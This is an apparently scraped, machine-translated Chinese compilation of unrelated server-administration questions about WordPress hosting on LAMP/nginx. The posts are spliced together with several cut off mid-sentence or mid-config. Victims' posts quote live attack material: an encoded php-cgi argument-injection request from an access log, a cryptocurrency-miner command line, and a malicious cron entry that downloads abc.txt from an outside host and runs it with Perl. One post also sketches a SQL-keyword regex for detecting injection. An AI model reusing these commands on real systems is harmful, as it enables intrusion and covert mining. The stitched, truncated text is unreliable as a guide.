我有一个作为 LAMP 堆栈运行的 CentOS Linode 实例。我也在使用 Google Apps 发送电子邮件。我的 MX 记录指向 google 的服务器,并且在转发我的电子邮件方面一切正常。
但是,盒子上的 sendmail 无法正常工作,这意味着来自 PHP (wordpress) 的电子邮件没有被发送。
查看本地邮件我可以看到这些消息在日志中重复 -
----- Transcript of session follows -----
<my email addr>... Deferred: Connection refused by aspmx.l.google.com.
Run Code Online (Sandbox Code Playgroud)
我没有配置 sendmail 的经验 - 谁能告诉我从哪里开始解决这个问题?我已经做了很多谷歌搜索,但无济于事。
我们有一个使用 ruby on rails 开发的站点。它有过
我们开始使用 wordpress 来管理网站内容。我们已经完成了开发,现在必须进入生产阶段。这是 wordpress 当前在 /wordpress URI 下工作的虚拟主机代码。
<Location /wordpress>
PassengerEnabled off
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /wordpress/
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /wordpress/index.php [L]
</IfModule>
</Location>
Run Code Online (Sandbox Code Playgroud)
我想让 phusion 乘客为 /admin 和 /api URI 工作。和/去wordpress。
我们可以根据 URI 更改文档根目录吗?或任何其他更好的解决方案?
我们刚刚有一个(相当重要的)WordPress 数据库莫名其妙地丢失了。幸运的是,我们每晚都会进行备份,所以这不会是世界末日,但我想避免或至少能够在将来追踪这种情况。
现在,我们仍然不知道数据库被删除是否是由于初级开发人员不小心在错误的 mysql 命令行或 phpymadmin 窗口中输入命令,或者这是否是恶意 SQL 注入攻击。
显然,我们需要对初级开发人员 mysql 用户帐户进行更严格的控制,但除此之外,我想知道通过服务器管理检测/防止 sql 注入的最佳实践是什么。
请注意,我不想知道如何对个人输入进行清理——我每次都会这样做,但我们编写了很多自定义脚本,而且我们的员工中总是会有初级开发人员,他们可能会忘记或犯错误。至少,我想知道最好的(最简单的)方法:
以标准访问日志格式记录所有GET或POST请求,其中包含查询字符串或发布带有任何 SQL 的数据(我想象使用正则表达式,就像/(drop|delete|truncate|update|insert)/所有虚拟主机的单个文件一样,然后我可以 grep
drop仅将以, delete,开头的 mysql 命令记录truncate到单个文件中。每个条目都需要包含最短的时间和 mysql 用户,但是如果我可以看到它是通过命令行还是 php 以及 php 脚本是什么,那就太好了。
感谢您的帮助!显然,请让我知道是否有任何使用我忽略的标准日志的基本解决方案。
我在我的服务器上使用 Nginx 和 php-fpm 来运行我的 Wordpress 博客。
当有人在 Facebook 上分享我的网站时,Facebook 添加了一些参数,URL 如下所示:
我检查了我的日志,发现这个请求有一个“414 Request-URI Too Long”。我尝试在我的 Nginx 配置文件中添加 large_client_header_buffers 但没有结果。
但是,如果您只使用普通 URL ( https://jp.rlauzier.com/2013/07/les-courriels-et-la-securite-quelques-notions-a-savoir/ ),则一切正常。
这是我的配置文件:
server {
listen 443;
server_name jp.rlauzier.com;
ssl on;
ssl_certificate /etc/nginx/ssl/jp.rlauzier.com.crt;
ssl_certificate_key /etc/nginx/ssl/jp.rlauzier.com.key;
include /var/www/jp.rlauzier.com/public_html/nginx.conf;
location / {
root /var/www/jp.rlauzier.com/public_html/;
index index.php index.html index.htm;
if ($request_uri ~* \.(ico|css|js|gif|jpe?g|png)$) {
expires max;
break;
}
try_files $uri $uri/ /index.php?q=$uri&$args;
}
# pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
#
location ~ \.php$ …Run Code Online (Sandbox Code Playgroud) 我有一个共享服务器(由 bitnami 提供支持的 amazon ec2 micro)和一个 Web 应用程序(Wordpress),它最近表现出低性能(流量和使用相对稳定)。我看到的 apache2/logs/access.log 中唯一可疑的行是形式
$ tail --lines=1000 /opt/bitnami/apache2/logs/access_log
93.120.84.31 - - [06/Nov/2013:03:02:54 +0000] "POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1" 504 249
Run Code Online (Sandbox Code Playgroud)
并在ps aux输出中
daemon 29369 0.0 0.2 17688 1500 ? S 10:52 0:00 /bin/bash ./su 57.54
daemon 29377 30.5 0.0 1780 544 ? R 10:52 3:14 ./ps 57.54 22
Run Code Online (Sandbox Code Playgroud)
这些进程是什么,如果这是一个 [已知] 漏洞利用/漏洞,我该如何关闭它?我在谷歌上搜索了这个提及,但无法确定这是否适用于我的情况。
如果这个问题属于其他SE站点,请在适当的地方帮我提问。
提前谢谢了!
更新
遵循@Ladadadada 的提示,结果如下。没错,就是入侵。服务器停止,从每周备份重新启动(所有数据库和其他东西都在单独的驱动器上,我希望没有受到损害)并受到监控。 对正在发生的事情以及如何在未来防止这种情况的所有建议表示赞赏。
对于过程ps:
$ sudo ls -l /proc/30633/fd
total 0
lr-x------ 1 daemon daemon 64 …Run Code Online (Sandbox Code Playgroud) 我有一个运行一些 wordpress 和 tomcat 网站的 CENTOS6 服务器。这两天一直在崩溃。经过调查,我们发现内核更新二进制文件在服务器上消耗了 100% 的 CPU。过程如下。
./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx
Run Code Online (Sandbox Code Playgroud)
但是这个进程内核更新好像无效。可能是服务器被破坏了,这个进程是由黑客安装的,所以我杀死了这个进程并删除了 apache 用户的 cron 条目。
但不知何故,这个过程在几个小时后又开始了,cron 条目也恢复了,我正在寻找修改 cron 作业的东西。
Cron 入口(apache 用户)
/6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc*
Run Code Online (Sandbox Code Playgroud)
abc.txt
#!/usr/bin/perl
system("killall -9 minerd");
system("killall -9 PWNEDa");
system("killall -9 PWNEDb");
system("killall -9 PWNEDc");
system("killall -9 PWNEDd");
system("killall -9 PWNEDe");
system("killall -9 PWNEDg");
system("killall -9 PWNEDm");
system("killall -9 minerd64");
system("killall -9 minerd32");
system("killall …Run Code Online (Sandbox Code Playgroud) 在过去的几天里,我遇到了非常严重的内存不足问题。
虽然我解决了一个可能的原因,但我仍然收到了一个非常可疑的sendmail.
关于如何解决这个问题的任何建议?我认为这一定是某种恶意软件,但我没有解决此类攻击的经验。
1 [||||||||||||||||||||||||| 27.0%] Tasks: 101, 50 thr; 1 running
2 [||||||||||||||||||||||||||||||||||||||||| 45.7%] Load average: 12.96 12.55 11.95
Mem[|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||1183/1995MB] Uptime: 09:53:28
Swp[|||| 93/2047MB]
PID USER PRI NI VIRT RES SHR S CPU% MEM% TIME+ Command
19704 root 20 0 120M 25328 2896 S 2.0 1.2 0:46.16 sendmail: MTA: ./s6HH4rLv009027 gmail.co.: user open
3298 root 20 0 99M 5612 1684 S 2.0 0.3 2:46.31 sendmail: MTA: s6OABpf4003298 …Run Code Online (Sandbox Code Playgroud) 我在自己的服务器上安装了带有 Nginx 和 PHP-FPM 的 Wordpress,网址为https://saskia.photo
安装效果很好,但 XML-RPC(由 Jetpack 和手机应用程序使用)引发以下错误:
<?xml version="1.0" encoding="UTF-8"?>
<methodResponse>
<fault>
<value>
<struct>
<member>
<name>faultCode</name>
<value><int>-32700</int></value>
</member>
<member>
<name>faultString</name>
<value><string>parse error. not well formed</string></value>
</member>
</struct>
</value>
</fault>
</methodResponse>
Run Code Online (Sandbox Code Playgroud)
您可以通过运行自己查看错误
curl -A "Jetpack by WordPress.com" -is -H 'Content-Type: text/xml' --data '<?xml version="1.0"?><methodCall><methodName>demo.sayHello</methodName><params></params></methodCall>' 'https://saskia.photo/xmlrpc.php' && echo
Run Code Online (Sandbox Code Playgroud)
我已经完成了Jetpack 的故障排除页面,但没有成功。
返回的 XML 错误使我推测客户端请求 XML 在 nginx 和 PHP 之间的某处已损坏,因此无法解析。
这是我的 nginx 配置文件
server {
listen 80;
listen [::]:80;
server_name saskia.photo;
rewrite ^ https://$server_name$request_uri? permanent; …Run Code Online (Sandbox Code Playgroud) 我有一个 512mb 的单核服务器实例。截至目前,我有大约 3 个网站,大约有 10k 篇文章,在所有网站上我都启用了 wp 超级缓存。典型的缓存时间为 3600 秒或 7200 秒。而且 vps 实例保持得很好。它每天只会出现一次约 60% 的 cpu 峰值。
我读到,一旦一个网站达到 30k 篇文章,由于文件数量(Linux 文件系统)或类似的原因,依赖 wp 超级缓存并不是一个好的做法。
所以我想也许我应该改用 nginx fastcgi 缓存。在他们的网站中,与 wp super cache 或 w3 Total Cache 相比,他们推荐将此作为最佳实践。
考虑到内存的数量,我有可用的。你们认为 fastcgi 缓存会是我网站的更好替代方案吗?
内存缓存呢?
我的 php 7.1 启用了 opcache。
WordPress 网站(4 年前)最近从共享服务器迁移到 AWS 服务器(2cpu、4GB 内存、80 SSD)。迁移后网站工作正常,但在凌晨 2 点到 6 点之间的夜间 CPU 使用率出现峰值(仅在周六或周日)这会导致 CPU 内存不足并关闭整个服务器以及邮件服务器。重新启动服务器后,网站运行正常,CPU 使用率也没有出现峰值(10% - 15%)。所附日志的屏幕截图https://prnt.sc/LTyOU9YrEHd6。网站宕机前的错误日志 服务器重启后的使用情况
是什么原因导致CPU使用率出现问题?是因为spamd使用还是SQL使用?